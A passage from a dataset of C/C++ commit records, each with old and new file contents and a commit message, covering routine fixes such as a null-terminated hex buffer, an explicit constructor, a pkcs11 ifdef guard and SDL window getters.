code);\n\n@interface SPTPersistentCacheResponse (Private)\n\n- (instancetype)initWithResult:(SPTPersistentCacheResponseCode)result\n                         error:(NSError *)error\n                        record:(SPTPersistentCacheRecord *)record;\n\n@end\n","subject":"Add missing 'extern' when declaring NSStringFromSPTPersistentCacheResponseCode in header","message":"Add missing 'extern' when declaring NSStringFromSPTPersistentCacheResponseCode in header\n","lang":"C","license":"apache-2.0","repos":"chrisbtreats\/SPTPersistentCache,FootballAddicts\/SPTPersistentCache,iOSCowboy\/SPTPersistentCache,iOSCowboy\/SPTPersistentCache,FootballAddicts\/SPTPersistentCache,chrisbtreats\/SPTPersistentCache,spotify\/SPTPersistentCache,spotify\/SPTPersistentCache,chrisbtreats\/SPTPersistentCache,FootballAddicts\/SPTPersistentCache,spotify\/SPTPersistentCache,FootballAddicts\/SPTPersistentCache,iOSCowboy\/SPTPersistentCache,chrisbtreats\/SPTPersistentCache"}
{"commit":"4d0af5772e2a6865ce246e4a191279663b70d70b","old_file":"simulator\/simulator.h","new_file":"simulator\/simulator.h","old_contents":"\/*\n * simulator.h - interface for simulator\n * Copyright 2018 MIPT-MIPS\n *\/\n\n#ifndef SIMULATOR_H\n#define SIMULATOR_H\n \n#include <memory.h>\n \n#include <infra\/types.h>\n#include <infra\/log.h>\n \nclass Simulator : public Log {\npublic:\n    Simulator( bool log = false) : Log( log) {}\n\n    virtual void run(const std::string& tr, uint64 instrs_to_run) = 0;\n\n    static std::unique_ptr<Simulator> create_simulator(const std::string& isa, bool functional_only, bool log);\n};\n\n#endif \/\/ SIMULATOR_H\n","new_contents":"\/*\n * simulator.h - interface for simulator\n * Copyright 2018 MIPT-MIPS\n *\/\n\n#ifndef SIMULATOR_H\n#define SIMULATOR_H\n \n#include <memory.h>\n \n#include <infra\/types.h>\n#include <infra\/log.h>\n \nclass Simulator : public Log {\npublic:\n    explicit Simulator( bool log = false) : Log( log) {}\n\n    virtual void run(const std::string& tr, uint64 instrs_to_run) = 0;\n\n    static std::unique_ptr<Simulator> create_simulator(const std::string& isa, bool functional_only, bool log);\n};\n\n#endif \/\/ SIMULATOR_H\n","subject":"Add explicit specifier to Simulator ctor","message":"Add explicit specifier to Simulator ctor","lang":"C","license":"mit","repos":"MIPT-ILab\/mipt-mips,MIPT-ILab\/mipt-mips-2015,MIPT-ILab\/mipt-mips-2015,MIPT-ILab\/mipt-mips-2015,MIPT-ILab\/mipt-mips,MIPT-ILab\/mipt-mips-2015"}
{"commit":"30e94c0aed4e84bd6a04691329f396d89bd739fb","old_file":"sys\/sparc64\/include\/idprom.h","new_file":"sys\/sparc64\/include\/idprom.h","old_contents":"","new_contents":"\/*\n * Copyright (c) 1993 Adam Glass\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and\/or other materials provided with the distribution.\n * 3. All advertising materials mentioning features or use of this software\n *    must display the following acknowledgement:\n *\tThis product includes software developed by Adam Glass.\n * 4. The name of the Author may not be used to endorse or promote products\n *    derived from this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY Adam Glass ``AS IS'' AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n *\n *\tfrom: NetBSD: idprom.h,v 1.2 1998\/09\/05 23:57:26 eeh Exp\n *\n * $FreeBSD$\n *\/\n\n#ifndef _MACHINE_IDPROM_H_\n#define _MACHINE_IDPROM_H_\n\n\/*\n * ID prom format.  The ``host id'' is set up by taking the machine\n * ID as the top byte and the hostid field as the remaining three.\n * The id_xxx0 field appears to contain some other number.  The id_xxx1\n * contains a bunch of 00's and a5's on my machines, suggesting it is\n * not actually used.  The checksum seems to include them, however.\n *\/\nstruct idprom {\n\tu_char\tid_format;\t\t\/* format identifier (= 1) *\/\n\tu_char\tid_machine;\t\t\/* machine type (see param.h) *\/\n\tu_char\tid_ether[6];\t\t\/* ethernet address *\/\n\tint\tid_date;\t\t\/* date of manufacture *\/\n\tu_char\tid_hostid[3];\t\t\/* ``host id'' bytes *\/\n\tu_char\tid_checksum;\t\t\/* xor of everything else *\/\n\tchar\tid_undef[16];\t\t\/* undefined *\/\n};\n\n#define ID_SUN4_100\t0x22\n#define ID_SUN4_200\t0x21\n#define ID_SUN4_300\t0x23\n#define ID_SUN4_400\t0x24\n\n#define IDPROM_VERSION 1\n\n#endif \/* !_MACHINE_IDPROM_H_ *\/\n","subject":"Add a structure defintion for the id prom contents.","message":"Add a structure defintion for the id prom contents.\n\nObtained from:\tNetBSD\n","lang":"C","license":"bsd-3-clause","repos":"jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase"}
{"commit":"ea3949ce981b558e47c28ca09a56095368ddf34a","old_file":"src\/memdumper.c","new_file":"src\/memdumper.c","old_contents":"#include <stdio.h>\n#include \"memdumper.h\"\n\nstatic const char HEX[] = {\n    '0', '1', '2', '3',\n    '4', '5', '6', '7',\n    '8', '9', 'A', 'B',\n    'C', 'D', 'E', 'F',\n};\n\nvoid byteToHex(char byte, char* output) {\n    output[0] = HEX[(byte >> 4) & 0x0F];\n    output[1] = HEX[byte & 0x0F];\n}\n\nvoid dumpMemoryAsHex(char* data, char* dataEnd, int count) {\n    static char hexbuff[2];\n    int i = 0;\n    while(i < count) {\n        if(&data[i] >= dataEnd)\n            break;\n        byteToHex(data[i++], hexbuff);\n        printf(\"%s \", hexbuff);\n    }\n\n    \/* Print padding *\/\n    for( ; i < count; i++) {\n        printf(\".. \");\n    }\n}\n\nvoid dumpMemoryAsASCII(char* data, char* dataEnd, int count) {\n    int i = 0;\n    while(i < count) {\n        char c;\n\n        if(&data[i] >= dataEnd)\n            break;\n\n        c = data[i++];\n        printf(\"%c\", (c < ' ' || c == (char)(127)) ? '.' : c);\n    }\n\n    \/* Print padding *\/\n    for( ; i < count; i++) {\n        printf(\".\");\n    }\n}\n","new_contents":"#include <stdio.h>\n#include \"memdumper.h\"\n\nstatic const char HEX[] = {\n    '0', '1', '2', '3',\n    '4', '5', '6', '7',\n    '8', '9', 'A', 'B',\n    'C', 'D', 'E', 'F',\n};\n\nvoid byteToHex(char byte, char* output) {\n    output[0] = HEX[(byte >> 4) & 0x0F];\n    output[1] = HEX[byte & 0x0F];\n}\n\nvoid dumpMemoryAsHex(char* data, char* dataEnd, int count) {\n    static char hexbuff[3] = {0, 0, 0};\n    int i = 0;\n    while(i < count) {\n        if(&data[i] >= dataEnd)\n            break;\n        byteToHex(data[i++], hexbuff);\n        printf(\"%s \", hexbuff);\n    }\n\n    \/* Print padding *\/\n    for( ; i < count; i++) {\n        printf(\".. \");\n    }\n}\n\nvoid dumpMemoryAsASCII(char* data, char* dataEnd, int count) {\n    int i = 0;\n    while(i < count) {\n        char c;\n\n        if(&data[i] >= dataEnd)\n            break;\n\n        c = data[i++];\n        printf(\"%c\", (c < ' ' || c == (char)(127)) ? '.' : c);\n    }\n\n    \/* Print padding *\/\n    for( ; i < count; i++) {\n        printf(\".\");\n    }\n}\n","subject":"Make hex string buffer guarantee a null terminator","message":"Make hex string buffer guarantee a null terminator\n","lang":"C","license":"mit","repos":"drdanick\/apricos-fs-manager"}
{"commit":"8518e74f3e24b136c627534e30b0068836785575","old_file":"include\/llvm\/Support\/ValueHolder.h","new_file":"include\/llvm\/Support\/ValueHolder.h","old_contents":"\/\/===-- llvm\/Support\/ValueHolder.h - Wrapper for Value's --------*- C++ -*-===\/\/\n\/\/\n\/\/ This class defines a simple subclass of User, which keeps a pointer to a\n\/\/ Value, which automatically updates when Value::replaceAllUsesWith is called.\n\/\/ This is useful when you have pointers to Value's in your pass, but the\n\/\/ pointers get invalidated when some other portion of the algorithm is\n\/\/ replacing Values with other Values.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_SUPPORT_VALUEHOLDER_H\n#define LLVM_SUPPORT_VALUEHOLDER_H\n\n#include \"llvm\/User.h\"\n\nstruct ValueHolder : public User {\n  ValueHolder(Value *V = 0);\n\n  \/\/ Getters...\n  const Value *get() const { return getOperand(0); }\n  operator const Value*() const { return getOperand(0); }\n  Value *get() { return getOperand(0); }\n  operator Value*() { return getOperand(0); }\n\n  \/\/ Setters...\n  const ValueHolder &operator=(Value *V) {\n    setOperand(0, V);\n    return *this;\n  }\n\n  virtual void print(std::ostream& OS) const {\n    OS << \"ValueHolder\";\n  }\n};\n\n#endif\n","new_contents":"\/\/===-- llvm\/Support\/ValueHolder.h - Wrapper for Value's --------*- C++ -*-===\/\/\n\/\/\n\/\/ This class defines a simple subclass of User, which keeps a pointer to a\n\/\/ Value, which automatically updates when Value::replaceAllUsesWith is called.\n\/\/ This is useful when you have pointers to Value's in your pass, but the\n\/\/ pointers get invalidated when some other portion of the algorithm is\n\/\/ replacing Values with other Values.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_SUPPORT_VALUEHOLDER_H\n#define LLVM_SUPPORT_VALUEHOLDER_H\n\n#include \"llvm\/User.h\"\n\nstruct ValueHolder : public User {\n  ValueHolder(Value *V = 0);\n  ValueHolder(const ValueHolder &VH) : User(VH.getType(), Value::TypeVal) {}\n\n  \/\/ Getters...\n  const Value *get() const { return getOperand(0); }\n  operator const Value*() const { return getOperand(0); }\n  Value *get() { return getOperand(0); }\n  operator Value*() { return getOperand(0); }\n\n  \/\/ Setters...\n  const ValueHolder &operator=(Value *V) {\n    setOperand(0, V);\n    return *this;\n  }\n\n  const ValueHolder &operator=(ValueHolder &VH) {\n    setOperand(0, VH);\n    return *this;\n  }\n\n  virtual void print(std::ostream& OS) const {\n    OS << \"ValueHolder\";\n  }\n};\n\n#endif\n","subject":"Add more methods to be more value-like","message":"Add more methods to be more value-like\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@8074 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,chubbymaggie\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,chubbymaggie\/asap,apple\/swift-llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,chubbymaggie\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm"}
{"commit":"999de3c3fd59c197df0b12e3c11581560a07bfd4","old_file":"tls\/gnutls\/gnutls-module.c","new_file":"tls\/gnutls\/gnutls-module.c","old_contents":"\/* GIO - GLib Input, Output and Streaming Library\n *\n * Copyright 2010 Red Hat, Inc.\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General\n * Public License along with this library; if not, see\n * <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#include \"config.h\"\n\n#include <gio\/gio.h>\n\n#include \"gtlsbackend-gnutls.h\"\n#include \"gtlsbackend-gnutls-pkcs11.h\"\n\n\nvoid\ng_io_module_load (GIOModule *module)\n{\n  g_tls_backend_gnutls_register (module);\n  g_tls_backend_gnutls_pkcs11_register (module);\n}\n\nvoid\ng_io_module_unload (GIOModule *module)\n{\n}\n\ngchar **\ng_io_module_query (void)\n{\n  gchar *eps[] = {\n    G_TLS_BACKEND_EXTENSION_POINT_NAME,\n    NULL\n  };\n  return g_strdupv (eps);\n}\n","new_contents":"\/* GIO - GLib Input, Output and Streaming Library\n *\n * Copyright 2010 Red Hat, Inc.\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General\n * Public License along with this library; if not, see\n * <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#include \"config.h\"\n\n#include <gio\/gio.h>\n\n#include \"gtlsbackend-gnutls.h\"\n#include \"gtlsbackend-gnutls-pkcs11.h\"\n\n\nvoid\ng_io_module_load (GIOModule *module)\n{\n  g_tls_backend_gnutls_register (module);\n#ifdef HAVE_PKCS11\n  g_tls_backend_gnutls_pkcs11_register (module);\n#endif\n}\n\nvoid\ng_io_module_unload (GIOModule *module)\n{\n}\n\ngchar **\ng_io_module_query (void)\n{\n  gchar *eps[] = {\n    G_TLS_BACKEND_EXTENSION_POINT_NAME,\n    NULL\n  };\n  return g_strdupv (eps);\n}\n","subject":"Fix unresolved symbol when pkcs11 is disabled","message":"gnutls: Fix unresolved symbol when pkcs11 is disabled\n\n * Error would occur: libgiognutls.so: undefined symbol: \\\n\tg_tls_backend_gnutls_pkcs11_register\n","lang":"C","license":"lgpl-2.1","repos":"Distrotech\/glib-networking,GNOME\/glib-networking,Distrotech\/glib-networking,GNOME\/glib-networking,GNOME\/glib-networking,Distrotech\/glib-networking"}
{"commit":"f34ee1e4aa493b3192226c77f6c7041efc47c6df","old_file":"project\/include\/ByteArray.h","new_file":"project\/include\/ByteArray.h","old_contents":"#ifndef NME_BYTE_ARRAY_H\n#define NME_BYTE_ARRAY_H\n\n#include <nme\/Object.h>\n#include <nme\/QuickVec.h>\n#include \"Utils.h\"\n\nnamespace nme\n{\n\n\n\/\/ If you put this structure on the stack, then you do not have to worry about GC.\n\/\/ If you store this in a heap structure, then you will need to use GC roots for mValue...\nstruct ByteArray\n{\n   ByteArray(int inSize);\n   ByteArray(const ByteArray &inRHS);\n   ByteArray();\n   ByteArray(struct _value *Value);\n   ByteArray(const QuickVec<unsigned char>  &inValue);\n   ByteArray(const char *inResourceName);\n\n   void          Resize(int inSize);\n   int           Size() const;\n   unsigned char *Bytes();\n   const unsigned char *Bytes() const;\n   bool          Ok() { return mValue!=0; }\n\n\n   struct _value *mValue;\n\n   static ByteArray FromFile(const OSChar *inFilename);\n   #ifdef HX_WINDOWS\n   static ByteArray FromFile(const char *inFilename);\n   #endif\n};\n\n#ifdef ANDROID\nByteArray AndroidGetAssetBytes(const char *);\n\nstruct FileInfo\n{\n   int fd;\n   off_t offset;\n   off_t length;\n};\n\nFileInfo AndroidGetAssetFD(const char *);\n#endif\n\n}\n\n#endif\n","new_contents":"#ifndef NME_BYTE_ARRAY_H\n#define NME_BYTE_ARRAY_H\n\n#include <nme\/Object.h>\n#include <nme\/QuickVec.h>\n#include \"Utils.h\"\n#include <hx\/CFFI.h>\n\nnamespace nme\n{\n\n\n\/\/ If you put this structure on the stack, then you do not have to worry about GC.\n\/\/ If you store this in a heap structure, then you will need to use GC roots for mValue...\nstruct ByteArray\n{\n   ByteArray(int inSize);\n   ByteArray(const ByteArray &inRHS);\n   ByteArray();\n   ByteArray(value Value);\n   ByteArray(const QuickVec<unsigned char>  &inValue);\n   ByteArray(const char *inResourceName);\n\n   void          Resize(int inSize);\n   int           Size() const;\n   unsigned char *Bytes();\n   const unsigned char *Bytes() const;\n   bool          Ok() { return mValue!=0; }\n\n\n   value mValue;\n\n   static ByteArray FromFile(const OSChar *inFilename);\n   #ifdef HX_WINDOWS\n   static ByteArray FromFile(const char *inFilename);\n   #endif\n};\n\n#ifdef ANDROID\nByteArray AndroidGetAssetBytes(const char *);\n\nstruct FileInfo\n{\n   int fd;\n   off_t offset;\n   off_t length;\n};\n\nFileInfo AndroidGetAssetFD(const char *);\n#endif\n\n}\n\n#endif\n","subject":"Use correct cffi type for 'value'","message":"Use correct cffi type for 'value'\n","lang":"C","license":"mit","repos":"thomasuster\/NME,haxenme\/nme,haxenme\/nme,haxenme\/nme,haxenme\/nme,madrazo\/nme,thomasuster\/NME,thomasuster\/NME,madrazo\/nme,thomasuster\/NME,thomasuster\/NME,madrazo\/nme,thomasuster\/NME,madrazo\/nme,madrazo\/nme,haxenme\/nme,madrazo\/nme"}
{"commit":"1dab0d1203f99f5ee5d3d8aa4e2c683ec92e80ca","old_file":"verification\/global_ocean.cs32x15\/code_ad\/GMREDI_OPTIONS.h","new_file":"verification\/global_ocean.cs32x15\/code_ad\/GMREDI_OPTIONS.h","old_contents":"","new_contents":"C $Header$\nC $Name$\n\nC CPP options file for GM\/Redi package\nC\nC Use this file for selecting options within the GM\/Redi package\nC\n#ifndef GMREDI_OPTIONS_H\n#define GMREDI_OPTIONS_H\n#include \"PACKAGES_CONFIG.h\"\n\n#ifdef ALLOW_GMREDI\n\n#include \"CPP_OPTIONS.h\"\n\nC Designed to simplify the Ajoint code:\nC  exclude the clipping\/tapering part of the code that is not used\n#define GM_EXCLUDE_CLIPPING\n#define GM_EXCLUDE_AC02_TAP\n#define GM_EXCLUDE_FM07_TAP\n#undef GM_EXCLUDE_TAPERING \n \nC This allows to use Visbeck et al formulation to compute K_GM+Redi\n#undef GM_VISBECK_VARIABLE_K\n\nC This allows the leading diagonal (top two rows) to be non-unity\nC (a feature required when tapering adiabatically).\n#define  GM_NON_UNITY_DIAGONAL\n\nC Allows to use different values of K_GM and K_Redi ; also to\nC be used with the advective form (Bolus velocity) of GM\n#define  GM_EXTRA_DIAGONAL\n\nC Allows to use the advective form (Bolus velocity) of GM\nC  instead of the Skew-Flux form (=default)\n#define  GM_BOLUS_ADVEC\n\n\n#endif \/* ALLOW_GMREDI *\/\n#endif \/* GMREDI_OPTIONS_H *\/\n\n","subject":"Add a missing config header","message":"Add a missing config header\n","lang":"C","license":"mit","repos":"altMITgcm\/MITgcm66h,altMITgcm\/MITgcm66h,altMITgcm\/MITgcm66h,altMITgcm\/MITgcm66h,altMITgcm\/MITgcm66h,altMITgcm\/MITgcm66h,altMITgcm\/MITgcm66h,altMITgcm\/MITgcm66h"}
{"commit":"122eaf409a0203d8f6e565e4cf361b7ca8f2844a","old_file":"tests\/sv-comp\/observer\/path_nofun_true-unreach-call.c","new_file":"tests\/sv-comp\/observer\/path_nofun_true-unreach-call.c","old_contents":"extern void __VERIFIER_error() __attribute__ ((__noreturn__));\nextern int __VERIFIER_nondet_int();\n\nint main()\n{\n    int x, y;\n    if (__VERIFIER_nondet_int())\n    {\n        x = 0;\n        y = 1;\n    }\n    else\n    {\n        x = 1;\n        y = 0;\n    }\n\n    \/\/ if (!(x + y == 1))\n    if (x + y != 1)\n        __VERIFIER_error();\n    return 0;\n}\n\n\/\/ .\/goblint --enable ana.sv-comp --enable ana.wp --enable witness.uncil --disable ana.int.def_exc --enable ana.int.interval --set ana.activated '[\"base\"]' --set phases '[{}, {\"ana\": {\"activated\": [\"base\", \"observer\"], \"path_sens\": [\"observer\"]}}]' --html tests\/sv-comp\/observer\/path_nofun_true-unreach-call.c\n\n\/\/ .\/goblint --enable ana.sv-comp --enable ana.wp --enable witness.uncil --disable ana.int.def_exc --enable ana.int.interval --set ana.activated '[\"base\"]' --html tests\/sv-comp\/observer\/path_nofun_true-unreach-call.c\n","new_contents":"extern void __VERIFIER_error() __attribute__ ((__noreturn__));\nextern int __VERIFIER_nondet_int();\n\nint main()\n{\n    int x, y;\n    if (__VERIFIER_nondet_int())\n    {\n        x = 0;\n        y = 1;\n    }\n    else\n    {\n        x = 1;\n        y = 0;\n    }\n\n    \/\/ if (!(x + y == 1))\n    if (x + y != 1)\n        __VERIFIER_error();\n    return 0;\n}\n\n\/\/ .\/goblint --enable ana.sv-comp --enable ana.wp --enable witness.uncil --disable ana.int.def_exc --enable ana.int.interval --set ana.activated '[\"base\"]' --html tests\/sv-comp\/observer\/path_nofun_true-unreach-call.c\n","subject":"Remove phases command line from SV-COMP observer example","message":"Remove phases command line from SV-COMP observer example\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"4cc782bd715a9202b2b6eb1190fbf66eaab3d8f1","old_file":"yalex\/src\/demo.c","new_file":"yalex\/src\/demo.c","old_contents":"#include <stdio.h>\n#include <string.h>\n\n#include \"yalex.h\"\n\nvoid replMessageCallback(const char* ptr) { \n    if (ptr && strlen(ptr)>0) { printf(\"%s\\n\", ptr); } \n}\n\nint yalex(void) {\n    yalex_world world;\n    yalex_init(&world, replMessageCallback);\n\n    replMessageCallback(\"welcome\");\n    char word[256];\n    \/**\/\n    yalex_repl(&world, \":fibstep (R1R R2R + R3S R2R R1S R3R R2S R4R 1 + R4S rec)\");\n    yalex_repl(&world, \":rec (R0R R4R 1 + < 'fibstep R3R select)\");\n    yalex_repl(&world, \":fib (R0S 0 R1S 1 R2S 0 R3S 1 R4S rec)\");\n\n    while (1) {\n        word[0] = 0;\n        fgets(word, sizeof(word), stdin);\n        yalex_repl(&world, word);\n    }\n    return 0;\n}\n\nint main()\n{\n\tyalex();\n\treturn 0;\n}","new_contents":"#include <stdio.h>\n#include <string.h>\n\n#include \"yalex.h\"\n\nvoid replMessageCallback(const char* ptr) { \n    if (ptr && strlen(ptr)>0) { printf(\"%s\\n\", ptr); } \n}\n\nint yalex(void) {\n    yalex_world world;\n    yalex_init(&world, replMessageCallback);\n\n    replMessageCallback(\"welcome\");\n    char word[256];\n    \/**\/\n    yalex_repl(&world, \":nset (R0S)\");\n    yalex_repl(&world, \":n (R0R)\");\n    yalex_repl(&world, \":t1set (R1S)\");\n    yalex_repl(&world, \":t1 (R1R)\");\n    yalex_repl(&world, \":t2set (R2S)\");\n    yalex_repl(&world, \":t2 (R2R)\");\n    yalex_repl(&world, \":resset (R3S)\");\n    yalex_repl(&world, \":res (R3R)\");\n    yalex_repl(&world, \":iset (R4S)\");\n    yalex_repl(&world, \":i (R4R)\");\n    yalex_repl(&world, \":fibstep (t1 t2 + resset t2 t1set res t2set i 1 + iset rec)\");\n    yalex_repl(&world, \":rec (n i 1 + < 'fibstep res select)\");\n    yalex_repl(&world, \":fib (nset 0 t1set 1 t2set 0 resset 1 iset rec)\");\n\n    while (1) {\n        word[0] = 0;\n        fgets(word, sizeof(word), stdin);\n        yalex_repl(&world, word);\n    }\n    return 0;\n}\n\nint main()\n{\n\tyalex();\n\treturn 0;\n}\n","subject":"Add register alias for verbosity and readability?","message":"Add register alias for verbosity and readability?","lang":"C","license":"mit","repos":"AlexanderBrevig\/yalex"}
{"commit":"f2d28e13a2ddc7dba28f53e9a7e9dfe4edd85859","old_file":"Runtime\/Rendering\/ConstantBufferDX11.h","new_file":"Runtime\/Rendering\/ConstantBufferDX11.h","old_contents":"#pragma once\n#include \"Rendering\/BufferDX11.h\"\n#include \"Rendering\/ShaderDX11.h\"\n\nnamespace Mile\n{\n   class MEAPI ConstantBufferDX11 : public BufferDX11\n   {\n   public:\n      ConstantBufferDX11(RendererDX11* renderer);\n      ~ConstantBufferDX11();\n\n      bool Init(unsigned int size);\n      template <typename Buffer>\n      bool Init()\n      {\n         return Init(sizeof(Buffer));\n      }\n\n      virtual ERenderResourceType GetResourceType() const override { return ERenderResourceType::ConstantBuffer; }\n\n      virtual void* Map(ID3D11DeviceContext& deviceContext) override;\n      template <typename BufferType>\n      BufferType* Map(ID3D11DeviceContext& deviceContext)\n      {\n         return reinterpret_cast<BufferType*>(Map(deviceContext));\n      }\n\n      virtual bool UnMap(ID3D11DeviceContext& deviceContext) override;\n\n      bool Bind(ID3D11DeviceContext& deviceContext, unsigned int slot, EShaderType shaderType);\n      void Unbind(ID3D11DeviceContext& deviceContext);\n\n      FORCEINLINE bool IsBound() const { return m_bIsBound; }\n      FORCEINLINE unsigned int GetBoundSlot() const { return m_boundSlot; }\n      FORCEINLINE EShaderType GetBoundShaderType() const { return m_boundShader; }\n\n   private:\n      bool           m_bIsBound;\n      unsigned int   m_boundSlot;\n      EShaderType    m_boundShader;\n\n   };\n}","new_contents":"#pragma once\n#include \"Rendering\/BufferDX11.h\"\n#include \"Rendering\/ShaderDX11.h\"\n\nnamespace Mile\n{\n   class MEAPI ConstantBufferDX11 : public BufferDX11\n   {\n   public:\n      ConstantBufferDX11(RendererDX11* renderer);\n      ~ConstantBufferDX11();\n\n      bool Init(unsigned int size);\n      template <typename BufferType>\n      bool Init()\n      {\n         return Init(sizeof(BufferType));\n      }\n\n      virtual ERenderResourceType GetResourceType() const override { return ERenderResourceType::ConstantBuffer; }\n\n      virtual void* Map(ID3D11DeviceContext& deviceContext) override;\n      template <typename BufferType>\n      BufferType* Map(ID3D11DeviceContext& deviceContext)\n      {\n         return reinterpret_cast<BufferType*>(Map(deviceContext));\n      }\n\n      virtual bool UnMap(ID3D11DeviceContext& deviceContext) override;\n\n      bool Bind(ID3D11DeviceContext& deviceContext, unsigned int slot, EShaderType shaderType);\n      void Unbind(ID3D11DeviceContext& deviceContext);\n\n      FORCEINLINE bool IsBound() const { return m_bIsBound; }\n      FORCEINLINE unsigned int GetBoundSlot() const { return m_boundSlot; }\n      FORCEINLINE EShaderType GetBoundShaderType() const { return m_boundShader; }\n\n   private:\n      bool           m_bIsBound;\n      unsigned int   m_boundSlot;\n      EShaderType    m_boundShader;\n\n   };\n}","subject":"Modify constant buffer init method template type name","message":"Modify constant buffer init method template type name\n","lang":"C","license":"mit","repos":"HoRangDev\/MileEngine,HoRangDev\/MileEngine"}
{"commit":"dd3ef21ed70fa4d34f6713f83089c821b2707a60","old_file":"Application.h","new_file":"Application.h","old_contents":"#pragma once\n#include <SDL2\/SDL.h>\n#include <string>\n\nclass Application\n{\nprivate:\n    \/\/ Main loop flag\n    bool quit;\n\n    \/\/ The window\n    SDL_Window* window;\n\n    \/\/ The window renderer\n    SDL_Renderer* renderer;\n\n\t\/\/ The background color\n\tSDL_Color backgroundColor;\n\n    \/\/ Window properties\n    std::string title;\n    unsigned int windowWidth;\n    unsigned int windowHeight;\n    bool isFullscreen;\n\n    bool init();\n    void close();\n\tvoid draw();\n\nprotected:\n\n\t\/\/ Event called after initialized\n    virtual void on_init();\n\n\t\/\/ Event called when before drawing the screen in the loop\n    virtual void on_update();\n\n\t\/\/ Event called when drawing the screen in the loop\n    virtual void on_draw(SDL_Renderer* renderer);\n\n\n\tvoid set_background_color(SDL_Color color);\n\npublic:\n    Application();\n    Application(std::string title);\n\tApplication(std::string title, unsigned int width, unsigned int height);\n    Application(std::string title, unsigned int width, unsigned int height, bool fullscreen);\n    ~Application();\n\n    void Run();\n};\n","new_contents":"#pragma once\n#include <SDL2\/SDL.h>\n#include <string>\n\nclass Application\n{\nprivate:\n    \/\/ Main loop flag\n    bool quit;\n\n    \/\/ The window\n    SDL_Window* window;\n\n    \/\/ The window renderer\n    SDL_Renderer* renderer;\n\n\t\/\/ The background color\n\tSDL_Color backgroundColor;\n\n    \/\/ Window properties\n    std::string title;\n    unsigned int windowWidth;\n    unsigned int windowHeight;\n    bool isFullscreen;\n\n    bool init();\n    void close();\n\tvoid draw();\n\nprotected:\n\n\t\/\/ Event called after initialized\n    virtual void on_init();\n\n\t\/\/ Event called when before drawing the screen in the loop\n    virtual void on_update();\n\n\t\/\/ Event called when drawing the screen in the loop\n    virtual void on_draw(SDL_Renderer* renderer);\n\n\n\tvoid set_background_color(SDL_Color color);\n\t\n\tunsigned int get_window_height() \n\t{\n\t\treturn windowHeight;\n\t}\n\n\tunsigned int get_window_width() \n\t{\n\t\treturn windowWidth;\n\t}\n\n\tbool is_fullscreen() \n\t{\n\t\treturn isFullscreen;\n\t}\n\npublic:\n    Application();\n    Application(std::string title);\n\tApplication(std::string title, unsigned int width, unsigned int height);\n    Application(std::string title, unsigned int width, unsigned int height, bool fullscreen);\n    ~Application();\n\n    void Run();\n};\n","subject":"Add getters for window constants","message":"Add getters for window 